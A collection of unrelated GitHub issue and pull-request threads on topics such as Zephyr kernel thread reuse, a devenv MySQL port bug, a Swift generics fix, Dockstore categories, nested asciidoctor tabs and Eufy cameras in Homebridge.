Added another patch to detect via assertion whether a
thread objects are being re-used when they are still
active. horrible and difficult to comprehend things can
happen if a thread object is already being used by the
kernel and k_thread_create() is called on it.

The thread re-use patch exposed an SMP issue on x86_64 in CI that is fixed by https://github.com/zephyrproject-rtos/zephyr/pull/28102

With help from QA who had some real Xtensa boards, we found that the issue with the heap test is not reproducible on real xtensa hardware. On an Intel S1000 ASDP, the test ran in 3.7 seconds with and without this PR.
I added a patch to disable the heap test on qemu_xtensa, this is some weird QEMU issue.

Looks ok to me, and few quick ARC tests all pass. Do have some concerns with changing something like this so late in the release cycle, as there always can be corner cases not foreseen or covered by the tests and new behavior not fully understood (xtensa qemu issue). Can it wait till next release?

Hmm, I've tried to run tests on HSDK (ARC HW SMP platform) and I got all tests failed. I'll investigate it.

Ok, it was issue with our verification and it's not related to this PR.


nix command

#355

chstgpt said to use it after nix search

See my comment https://github.com/nix-community/nix-on-droid/issues/355#issuecomment-2105675564


mysql-configure script ignores the alternative port if set through services.mysql.settings

Describe the bug
If an alternative, non-default port is set for MySQL using services.mysql.settings.client-server or services.mysql.settings.client, mysql-configure crashes with the following error:
ERROR 2002 (HY000): Can't connect to server on '<IP_ADDRESS>' (36)

This likely happens because the configuration commands use an empty MySQL config file to set up users and databases, e.g.:
https://github.com/cachix/devenv/blob/d59fee8696cd48f69cf79f65992269df9891ba86/src/modules/services/mysql.nix#L24-L26
To reproduce

Set up a MySQL server using services.mysql
Configure the port using either services.mysql.settings.client-server or services.mysql.settings.client
Run devenv up and check mysql-configure logs

https://gist.github.com/notthebee/6010917bf233e9ae08979f00db5fc795
I also use nixpkgs-unstable in my setup instead of the devenv packages, due to this – not sure if this is relevant.
Workaround
I was able to circumvent the problem, by copying https://github.com/cachix/devenv/blob/d59fee8696cd48f69cf79f65992269df9891ba86/src/modules/services/mysql.nix into my config, and appending -P${cfg.settings.client-server.port} to all command which use ${emptyConfig}, e.g.:
  mysqlWrappedEmpty = pkgs.writeShellScriptBin "mysql" ''
    exec ${cfg.package}/bin/mysql --defaults-file=${emptyConfig} -P${toString cfg.settings.client-server.port} "$@"
  '';

Ideally,  a separate port option, e.g. services.mysql.port could be introduced, since this is how it's handled for other services (e.g. services.redis.port or services.elasticsearch.port).
Version
devenv 1.3.1 (aarch64-darwin)

Looks like I've missed this snipped:
https://github.com/cachix/devenv/blob/d59fee8696cd48f69cf79f65992269df9891ba86/src/modules/services/mysql.nix#L297-L299
Just tried moving my port option from client-server to mysqld, and that seemed to solve the problem. I still think that having a separate option for specifying the port would be preferable, but for now, this solves my issue.


[AST] Fix inconsistent handling of generic args & params during BoundGenericType::getSubstitutions

Summary
A decl’s full GenericSignature is set during validateGenericTypeSignature().
Then during ConstraintSystem::openTypes(), in ReplaceDependentTypes, the GenericArgs list is built from the generic signature (via getGenericParamTypes()) and passed into a new BoundGenericType.
In BoundGenericType::getSubstitutions(), the GenericArgs are assumed to match getGenericParamsOfContext()->getParams().
However, in reality, the GenericArgs include all levels of generic args, whereas getGenericParamsOfContext() are the params of the innermost context only, so the params array is accessed past its end.
This commit changes NominalTypeDecl::getGenericParamTypes() to return the innermost params, in order to match the output of BoundGenericType::getGenericArgs(). For clarity and to hopefully prevent future confusion, we also rename getGenericParamTypes() to getInnermostGenericParamTypes().
Notes for reviewers
I'm not sure if using "innermost" is really the right thing to do here (note that getGenericArgs()'s comment says "Retrieve the set of generic arguments provided at this level"), but it seems there are very few places where nested generics actually do anything interesting/useful, so I think it's safe right now. The function rename should help future maintainers understand what's going on.
Fixes 8 compiler_crashers and 1 IDE/crasher. :cat2:
Also removes what appear to have been some spurious diagnostics in test/Generics/generic_type.swift.

@jtbandes Excellent! Keep going :+1:

Nice! @DougGregor or @slavapestov, please take a look when you get a chance.

@jtbandes I'm still not very familiar with the generics implementation but this looks OK at first glance.
In case this helps, here's my incomplete understanding of the whole situation with nested generics.
A reference to a nested generic type only has generic args for the innermost generic parameter list, together with a parent type which itself might be a bound generic type, eg if you have
struct A<T> { struct B<U> {}}

Then A.B is a bound generic type A with generic args (String) and parent type B. The parent type might also be concrete of course, like with struct A { struct B<U> {}}.
On the other hand, if we have a generic type inside a generic function, eg
func f() -> T { struct A {}}
Then the type of 'A' doesn't include 'T' at all -- the generic parameter is effectively 'captured' here and could appear in the signatures of A's members (or their bodies). A's members will include 'T' in their generic signature, though -- when 'opening' the type A, we need to bind 'U' to some generic parameter, but 'T' is always just the archetype from the outer context.
I recently added a getGenericTypeContextDepth() function which tells you how far down the list of generic params to keep going while forming bound generic types, including any parent generic types, but stopping at the first local generic context it encounters.
If somewhere in Sema we're getting the full list of nested generic parameters and forming bound generic types, we have to be careful to handle parent types, and also handle the case above by potentially ignoring some prefix of the list of all generic parameters.
You are right we don't do much with nested generics right now -- the cases that actually work are generic methods inside generic types, and generic local functions inside generic methods/functions, but the latter are not allowed to capture values from the outer scope. But it's good to slowly fix crashes in Sema over time, since we do want to support more cases of nesting eventually.


Switch to "keys.openpgp.org"

The keys.openpgp.org service is much more reliable than the SKS network, and every current release manager appears to have confirmed their email address over there.

Any thoughts on dropping pgp-happy-eyeballs for a single repo? Or perhaps we wait to make it optional once we have more repos not needing it.
(https://github.com/docker-library/bashbrew/blob/9df92226ae134cac637af04e6d466b82f0508c84/scripts/github-actions/generate.sh#L167-L172)

Yeah, not a bad idea -- that could probably even do some basic detection of whether it's necessary, but I guess it would be better to wait until we get more things that don't need it at all to figure out the "right" approach (who knows, maybe some future release of Python will have a release manager who doesn't want to verify on keys.openpgp.org :grimacing:).


Skip Cypress installation in ci.yml workflow

Changes

Sets proper env var to skip Cypress binary installation in cy.yml workflow

Context

There is not ticket for this. I just realized we were installing Cypress binary in every single job for all workflows. This is only necessary in the e2e.yml one, so I'm disabling this for ci.yml to save time during dependencies installation.
Tests

I've checked my work by:

[ ] Adding new tests or adjusting existing tests
[X] Testing manually

You can see here this is working as expected:

Good idea! 😄 Saves us some time when running the workflow. 🚀


Tests?

Is there a plan to start having tests for this project?

Shameless self promotion, but I took some of the good ideas from webpack dev middleware and this tool and did a fresh start with TDD (at least at the integration level). Maybe it might be of use - https://www.npmjs.com/package/karma-webpack_2

@wied03 - Project validations will be coming in this week. Leaving a note here for @MikaAK @goldhand and @d3viant0ne to take a moment to have a look at your implementation. Just skimming it for a few minutes, that is closer to the direction I would have gone ( less the memoryfs ).
Mika has some ideas as do myself and Will, give us a week or so and we will get this whipped into shape.
I'm going to close this for now. All the validation work will be handled by the team in #140

@d3viant0ne - I certainly could consider folding my work in. I just wanted something that was test driven to depend on for my project.

@wied03 - It's been discussed. @MikaAK will be opening an issue to bring the maintainers of the two major karma-webpack alternatives to the table so we can try and get the best of everything into a single solution. We just need to work through the tech debt and get code validations in place before we start adding new features.
The above is planned for the next semver Major with all the details needing to be ironed out prior of course. A release will be cut this week, the build & test base has already landed, then the tests & any PRs to stabilize the current version followed by feature / fix planning for the next Major.
Short version: Assuming all parties are willing, we will most certainly be including both you & @aaronjensen in the changes to come.


DOCK-1765 Categories-piggybacked-on-Collections implementation

This is the production Categories-piggybacked-on-Collections webservice implementation.  I implemented a set of features that will support most of the possible configurations mentioned when I gathered requirements, such as hidden "special" orgs and multiple "special" orgs.
https://ucsc-cgl.atlassian.net/browse/DOCK-1765
https://github.com/dockstore/dockstore/issues/4184
A "Category" is a dockstore-curated group of entries (tools+workflows).  Per current UI mockups, the category of an entry will be displayed in the UI in various locations, similar to how labels are displayed now, and the user will be able to specify desired categories during search.
There are three new endpoints:
/categories
/categories/name/{name}
/entries/{id}/categories
All Categories are visible to the public.  CollectionEntry now contains the property categoryNames.
An Organization has new boolean property "categorizer", which determines if collections added to the org are created as Categories or regular Collections.  I decided against a subclass for a categorizer Organization, because we may add more such traits to (possibly the same) organizations later.  There can be any number of "categorizer" Organizations.  A categorizer org can be created in either APPROVED or HIDDEN status (see below).
During the db migrations, a hidden categorizer org named "dockstore" is created, and users "dockstore-admin", "gluu-oicr", "coverbeck-adm" are added as its admins.  The migrations do not add all existing admins to org "dockstore" because that interfered too strongly with the preexisting ITs.
Category is a subclass of Collection, implemented with single table JPA inheritance.  Category/Collection identity is decided at creation and immutable, allowing us to easily specify a db constraint to enforce unique Category names.
The Organization.ApplicationState enum has a new value HIDDEN, which means the org is approved but hidden from view.  This method of hiding was orders of magnitude simpler and less bug-prone than the alternatives.  When an org is HIDDEN, it does not appear in the UI to the public.  A global admin can change org status via the update endpoint from HIDDEN to APPROVED, and vice versa.  Beyond hiding a "categorizer" org, this feature could be used for other purposes, such as temporarily muting an org that is violating the TOS, etc.  We could add additional endpoints to make it easier to use ("/organizations/{id}/hide" etc).
To propagate an Entry's categories into the Elasticsearch code, I introduced the Entry.collections field and some other related methods.  Before indexing an Entry, the code flush()es updates to the db and refresh()es the Entry to pull in the latest data.  It's a bit weird, but it works, and was far cleaner than passing a DAO into the ES code.
To pass the ITs, this PR contains a cherrypick of kathy's Amazon ECR fix.
The new ITs feature a mix of the swagger and openAPI-based code, because I had problems with some of openAPI calls.  Strangely enough, when comparing OrganizationsApi.createCollection() in the generated swagger versus openAPI, the order of arguments is reversed, and the openAPI createCollection bombed with a MessageBodyProviderNotFoundException.  Looks like something may be wrong in there.

Yay, a revised Categories PR, which includes the following changes:

improved admin addition to dockstore org during migration
removed /entries/{id}/categories from swagger spec
added endpoint response codes
removed unused auth code
changed collectionHelper to have its own LOG
added more integration tests
changed ES-Categories code:
added PopulateEntryListener to populate categories property of Entry before indexing
categories now stored in transient field of Entry
removed HIDDEN <-> APPROVED status transitions in updateOrganization
per discussion w/ Charles, we'll implement status update endpoints in later PR
copyright headers on new files
changed endpoints to:
/categories
/categories/{id}
/entries/{id}/categories
the /categories endpoint accepts optional "name" and "include" params
miscellaneous comments

This PR fixes three existing bugs in develop, I will create an issue for the first two and link:

broken Java OpenAPI createCollection() and updateCollection()
"multiple versions of same entry" duplicate collection listing bug
PublicStateManager IT "accumulating listeners" bug

Thanks for reviewing!

So we piggybacked checker workflows on workflows and it lead to many issues/cases we didn't consider (like publishing, validating, etc).
Just confirming that the 30+ endpoints were taken into account.

whether or not users are able to see the new dockstore org, star it, etc
whether or not categories can have aliases, etc

Hi Gary, I did try to ensure that my changes interact harmoniously with the existing code/endpoints, but as you mention, one of the risks of a "piggybacking" implementation is unintended/unforeseen consequences.
The code is written so the "dockstore" org (and any other "categorizer" orgs) can be either HIDDEN or APPROVED.  If an org is HIDDEN, most of the org endpoints work the same as they would for PENDING/REJECTED orgs.
A Category is a Collection, so it can be aliased.  However, if the org that "owns" the category is HIDDEN, the alias URL is not usable ("not found" error if I recall correctly).  If the owning org is APPROVED, the alias URL works but points to the collection URL, rather than the category URL.  Whether this behavior is [potentially] useful, should be tweaked, quietly not used, disabled, etc will become apparent as we user test Categories.  Category names and URLs (/categories/{name} or whatever) should be fairly stable, since we manage them, but if we need to alias, I'd recommend adding category-specific aliasing endpoints.


Nested tabsets

I’m trying to determine if asciidoctor-tabs supports nested tabsets (placing a tabset within another tabset). If it doesn't, then everything I describe below is probably moot and this issue can probably be closed or transitioned to an enhancement request.
The issue I’m seeing is that, on initial page load, nested tabsets appear to render correctly, but upon switching between the top-level tabs, any nested tabsets underneath show up as floating tabs without any content or border. Curiously, though, if I click on one of the floating tabs, its content will (re)appear correctly.
I’m trying to troubleshoot whether the problem lies with:

my AsciiDoc syntax,
my implementation of asciidoctor-tabs,
the Antora Default UI,
an issue with the asciidoctor-tabs extension itself, or
an issue with Antora/Asciidoctor more generally

Visual aid showing the issue in action:

My environment:

Operating System: macOS 13.3.1
Browser: Firefox, Chrome
node: 18.16.0
@asciidoctor/tabs: 1.0.0-beta.3
antora: 3.1.3
UI: Antora Default UI (https://gitlab.com/antora/antora-ui-default/-/jobs/artifacts/HEAD/raw/build/ui-bundle.zip?job=bundle-stable)

with Supplemental UI defined according to the Use with Antora guide.

My AsciiDoc (mildly sanitized for sake of demonstration):
Page:
[tabs]
======
Debian/Ubuntu (APT)::
+
include::guides:partial$cassandra-install-apt.adoc[]

CentOS/RHEL (YUM)::
+
include::guides:partial$cassandra-install-yum.adoc[]

Tarball::
+
include::guides:partial$cassandra-install-tarball.adoc[]
======

Partial 1 (cassandra-install-apt.adoc):
. Step 1
+
[tabs]
====
Command::
+
--
[source,shell,subs="attributes+"]
----
include::example$bash/commands/get-deb-package.sh[]
----
--

Result::
+
--
[source,console,subs="attributes+"]
----
include::example$bash/results/get-deb-package.result[]
----
--
====

. Step 2
+
[tabs]
====
cURL::
+
--
[source,shell]
----
include::guides:example$bash/commands/curl-add-repo-keys.sh[]
----
--

Wget::
+
--
[source,shell]
----
include::guides:example$bash/commands/wget-add-repo-keys.sh[]
----
--

Result::
+
--
[source,console]
----
include::guides:example$bash/results/add-repo-keys.result[]
----
--
====

. Step 3
+
[source,shell]
----
include::guides:example$bash/commands/apt-get-update.sh[]
----

. Step 4
+
[source,shell]
----
include::guides:example$bash/commands/apt-add-key.sh[]
----

. Step 5
+
[source,shell,subs="attributes+"]
----
include::guides:example$bash/commands/apt-get-cass.sh[]
----

I can post the content of the additional partials if necessary for further troubleshooting.

Technically, yes, nested tabs are supported. However, the script that manages the behavior is over-matching tab lists and tab panels. This is a side-effect of imprecise CSS selector matching. If the code more carefully selected only the elements for the tabset the user is interacting with, then the nested tabs would work as expected.

any nested tabsets underneath show up as floating tabs without any content or border.

This only means that no tab (and its corresponding panel) is selected.
Here's the sketch of the logic the script needs to use:
forEach.call(tabs.querySelector('.tablist').querySelectorAll('.tab'), function (el) {
  toggleSelected(el, el === tab)
})
var nextPanel = tabs.querySelector('.tabpanel')
while (nextPanel) {
  toggleHidden(nextPanel, nextPanel !== panel)
  if (!(nextPanel = nextPanel.nextElementSibling).classList.contains('tabpanel')) nextPanel = null
}

I also found that if a table is contained without a tab in nested tabs, it was getting wrapped in a tablecontainer div twice. The root of the problem is the same. The selector that is used to process tables was going too deep.


SEO Link

The first link in the Navigation bar, Search Engine Optimization, needs to be fixed so it functions correctly when clicked like the rest of the items on the Nav bar.

Added ID tag in html file to fix the link in the navigation bar.


Get Jockey by Runner

Find or scrape the jockey associated with a specified runner.
(closes #7)

Coverage increased (+0.1%) to 97.163% when pulling d244094ca38a20146bfcd2dced61499c9a8fbc41 on get_jockey into 9931ec2b97e68770d15007c31b71e8cb81c36680 on master.


[Bug]: My 3 "Eufy Cam E" are not shown in HomeKit

What happened?
Hello.
I run a total of 6 Eufy cams, 3 2C an 3 E. lately the E cams didn't work anymore while "No response" was prompted for them. So, I uninstalled your plugin and installed it from scratch. After I have now installed the plugin again, my 3 "Eufy Cam E" (Gartenhütte Kamera, Wohnzimmer Kamera, Flur Kamera) are not shown in HomeKit.
Am I missing to do something special?
{
"platform": "EufySecurity",
"username"<EMAIL_ADDRESS>"password": "xxxxxxxxxxx",
"country": "DE",
"ignoreStations": [],
"ignoreDevices": [
"T8xxxxxxxxxxxxxE",
"T8xxxxxxxxxxxxx2",
"T8xxxxxxxxxxxxx3",
"T8xxxxxxxxxxxxxD"
],
"pollingIntervalMinutes": 5,
"hkHome": 1,
"hkAway": 0,
"hkNight": 3,
"hkOff": 63,
"enableDetailedLogging": false,
"CameraMaxLivestreamDuration": 30,
"cleanCache": true
}
Thanks for your support
Device Type
other (UnSupported)
Plugin Version
v2.0.x (Supported)
HomeBridge Version
v1.4.x (Supported)
NodeJS Version
v16 (Supported)
Operating System
Raspbian 10+ (Supported)
Relevant log output
[5/27/2022, 11:58:32 AM] [EufySecurity-2.0.0] WARN:  Push Closed!
[5/27/2022, 11:58:32 AM] [EufySecurity-2.0.0] INFO:  Finished shutdown!
[27/05/2022, 11:58:46] Loaded plugin<EMAIL_ADDRESS>[27/05/2022, 11:58:46] Registering platform 'homebridge-eufy-security.EufySecurity'
[27/05/2022, 11:58:50] [EufySecurity] Initializing EufySecurity platform...
[5/27/2022, 11:58:50 AM] [EufySecurity-2.0.0] WARN:  warning: planned changes, see https://github.com/homebridge-eufy-security/plugin/issues/1
[5/27/2022, 11:58:50 AM] [EufySecurity-2.0.0] INFO:  Country set: DE
[5/27/2022, 11:58:50 AM] [EufySecurity-2.0.0] INFO:  Finished initializing!
[5/27/2022, 11:58:53 AM] [EufySecurity-2.0.0] INFO:  You're using guest admin account with this plugin! This is recommanded way!
[5/27/2022, 11:58:53 AM] [EufySecurity-2.0.0] INFO:  Updating accessory: HomeBase 2
[5/27/2022, 11:58:53 AM] [EufySecurity-2.0.0] INFO:  Updating accessory: Gartenhütte Kamera
[5/27/2022, 11:58:53 AM] [EufySecurity-2.0.0] INFO:  Updating accessory: Wohnzimmer Kamera
[5/27/2022, 11:58:53 AM] [EufySecurity-2.0.0] INFO:  Updating accessory: Flur Kamera
[5/27/2022, 11:58:54 AM] [EufySecurity-2.0.0] INFO:  Updating accessory: Bewegungssensor Flur
[5/27/2022, 11:58:54 AM] [EufySecurity-2.0.0] INFO:  Updating accessory: Sensor Wohnzimmer rechts
[5/27/2022, 11:58:54 AM] [EufySecurity-2.0.0] INFO:  Updating accessory: Sensor Wohnzimmer links
[5/27/2022, 11:58:54 AM] [EufySecurity-2.0.0] INFO:  Updating accessory: Sensor Haustür
[5/27/2022, 11:58:54 AM] [EufySecurity-2.0.0] INFO:  Updating accessory: Sensor Gäste WC
[5/27/2022, 11:58:54 AM] [EufySecurity-2.0.0] INFO:  Updating accessory: Sensor Wohnzimmer seitlich
[5/27/2022, 11:58:54 AM] [EufySecurity-2.0.0] INFO:  Updating accessory: Sensor Küche
[5/27/2022, 11:58:54 AM] [EufySecurity-2.0.0] WARN:  Push Closed!
Setup Payload:
X-HM://0024KSF0ATKU2
Enter this code with your HomeKit app on your iOS device to pair with Homebridge:

    ┌────────────┐
    │ XXX-XX-XXX │
    └────────────┘

[27/05/2022, 11:58:56] Homebridge v1.4.1 (HAP v0.10.2) (Homebridge 69BC) is running on port 51881.

Yes

Hello @MartinJRS, yes sorry by defaut all camera are showed as Motion Sensor. This is now set per camera. When listing device click on the serial number link of each camera and switch them into camera mode.

Oh wow, that was easy. Thanks you so much. Actually it was my fault - I could have find out by reading more or simply clicking on a serial number to find out. You guys are great and again, thanks a lot.